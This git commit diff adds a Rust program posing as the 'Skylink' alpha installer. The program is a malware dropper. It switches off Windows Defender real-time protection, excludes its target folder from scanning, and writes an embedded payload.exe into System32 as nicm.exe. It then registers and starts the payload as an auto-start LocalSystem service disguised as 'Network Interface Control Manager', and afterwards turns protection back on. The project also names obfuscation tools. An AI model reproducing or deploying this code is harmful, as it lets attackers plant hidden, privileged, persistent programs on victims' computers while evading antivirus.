commit 24710fa65f4fe56c8e9504bdda2edbdd4028a372 Author: xorydev Date: Fri Jul 25 17:50:34 2025 +0300 :3 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..61f2236 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +/target +Cargo.lock +rust-obfuscator.exe \ No newline at end of file diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..8df0abb --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "skylink-installer" +version = "0.1.0" +edition = "2024" + +[dependencies] +windows-service = "0.6" +cryptify = "3.1.1" + +[build-dependencies] +winres = "0.1" diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..ed8f249 --- /dev/null +++ b/build.rs @@ -0,0 +1,17 @@ +// build.rs +use winres::WindowsResource; + +fn main() { + WindowsResource::new() + .set_manifest(r#" + + + + + + + + +"#) + .compile().unwrap(); +} \ No newline at end of file diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..b9e42d5 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,108 @@ +use std::error::Error; +use std::ffi::OsString; +use std::path::PathBuf; +use std::process::Command; +use windows_service::{ + service::{ + ServiceAccess, ServiceDependency, ServiceErrorControl, ServiceInfo, ServiceStartType, + ServiceType, + }, + service_manager::{ServiceManager, ServiceManagerAccess}, +}; + +const PAYLOAD_BYTES: &[u8] = include_bytes!("payload.exe"); + +fn disable_rtp() { + let _ = Command::new("powershell") + .args(&[ + "-Command", + "Set-MpPreference -DisableRealtimeMonitoring $true", + ]) + .status(); +} +fn add_exclusion(path: &str) { + let _ = Command::new("powershell") + .args(&[ + "-Command", + &format!("Add-MpPreference -ExclusionPath '{}'", path), + ]) + .status(); +} + +use std::{fs, path::Path}; +fn drop_payload(dir: &Path) -> std::io::Result<()> { + fs::create_dir_all(dir)?; + fs::write(dir.join("nicm.exe"), PAYLOAD_BYTES)?; + Ok(()) +} + +fn install_service(bin_path: &str) -> windows_service::Result<()> { + let manager_access = ServiceManagerAccess::all(); + let manager = ServiceManager::local_computer(None::<&str>, manager_access)?; + let info = ServiceInfo { + name: OsString::from("NICM"), + display_name: OsString::from("Network Interface Control Manager"), + service_type: ServiceType::OWN_PROCESS, + start_type: ServiceStartType::AutoStart, + error_control: ServiceErrorControl::Normal, + executable_path: PathBuf::from(bin_path), + launch_arguments: vec![], + dependencies: vec![ServiceDependency::from_system_identifier("NSI")], // Wait for network + account_name: None, // LocalSystem + account_password: None, + }; + let _ = manager.create_service(&info, ServiceAccess::CHANGE_CONFIG)?; + Ok(()) +} + +fn start_service() -> windows_service::Result<()> { + let manager_access = ServiceManagerAccess::all(); + let manager = ServiceManager::local_computer(None::<&str>, manager_access)?; + let service = manager.open_service("NICM", ServiceAccess::START)?; + service.start(&[""])?; + Ok(()) +} + +fn enable_rtp() { + let _ = Command::new("powershell") + .args(&[ + "-Command", + "Set-MpPreference -DisableRealtimeMonitoring $false", + ]) + .status(); +} + +fn main() -> Result<(), Box> { + println!("SKYLINK VERSION 0.1 (ALPHA) INSTALLER +!!! THIS IS ALPHA SOFTWARE !!! THERE MAY BE DIFFERENCES BETWEEN THIS AND THE FINAL PRODUCT !!! +------------------------------------ +THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +------------------------------------"); + let dir = r"C:\Windows\System32\NICM\"; + print!("Disabling RTP... "); + disable_rtp(); + println!("OK"); + print!("Adding exclusion..."); + add_exclusion(dir); + println!("OK"); + print!("Installing primary executable..."); + drop_payload(std::path::Path::new(dir))?; + println!("OK"); + let payload_path = format!("{}\\nicm.exe", dir); + print!("Installing Skylink service..."); + install_service(&payload_path)?; + println!("OK"); + print!("Starting Skylink service..."); + start_service()?; + println!("OK"); + print!("Enabling RTP..."); + enable_rtp(); + println!("OK"); + println!( + "\x1B[2J \x1B[HSKYLINK VERSION 0.1 (ALPHA) INSTALLER +------------------------------------ +Done, have a wonderful day!" + ); + std::thread::sleep(std::time::Duration::from_secs(2)); + Ok(()) +} diff --git a/src/payload.exe b/src/payload.exe new file mode 100644 index 0000000..5e47c73 Binary files /dev/null and b/src/payload.exe differ